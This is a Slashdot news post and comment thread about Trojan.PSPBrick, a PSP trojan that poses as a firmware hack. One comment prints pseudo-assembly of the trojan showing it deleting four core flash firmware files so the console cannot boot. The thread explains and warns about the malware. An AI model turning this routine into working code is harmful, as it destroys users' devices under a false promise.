First PSP Trojan Reported 76
Posted
by
Zonk
from the watch-what-you-click dept.
from the watch-what-you-click dept.
Evangelion writes "PSP hackers beware! According to 1up.com today, Symantec has identified the first PSP Trojan in the wild. Known as Trojan.PSPBrick, it turns the PSP into, well, a brick. With buttons. Users have to download and install it themselves, and as a result it effectively breaks the PSP."
Re:Simple solution to this one (Score:5, Informative)
"Don't download and install it."
I'm sure if it's listed as "PSP Trojan Horse - turn your PSP into a useless brick" - nobody would download it.
Re:How is this a Trojan (Score:4, Informative)
"In computer security technology, a virus is a self-replicating program...", from http://en.wikipedia.org/wiki/Computer_Virus [wikipedia.org].
"In the context of computer software, a Trojan horse is a malicious program that is disguised as legitimate software.", from http://en.wikipedia.org/wiki/Trojan_horse_(comput
In this case, the PSP malware is not self-replicating, and it is something you have to download and install on your own (which claims to let you run your own games on the PSP). Therefore, it is a Trojan rather than a virus. A destructive one, yes, but still just a Trojan.
Deletes 4 firmware files (Score:2, Informative)
As you can see, 4 files are deleted from the flash memory, then a few lines of text are displayed. Without these files, the PSP cannot boot, so it's bricked.
_start:
call main()
while(1)
sceIoAssign:
syscall 0x20a8
sceIoRemove:
syscall 0x209e
main:
call FillVram(0)
call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
call Print(1,2,0xFFFFFF,"Thank's to toc2rta for the 2.0 exploit
call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
call sceIoRemove("flash6:/vsh/etc/index.dat")
call sceIoRemove("flash6:/kd/loadcore.prx")
call sceIoRemove("flash6:/kd/loadexec.prx")
call sceIoRemove("flash6:/kd/init.prx")
call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot ")
call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
call Print(1,6,0xFFFFFF," FuCk yoshihiro and SonyxTeam Looser")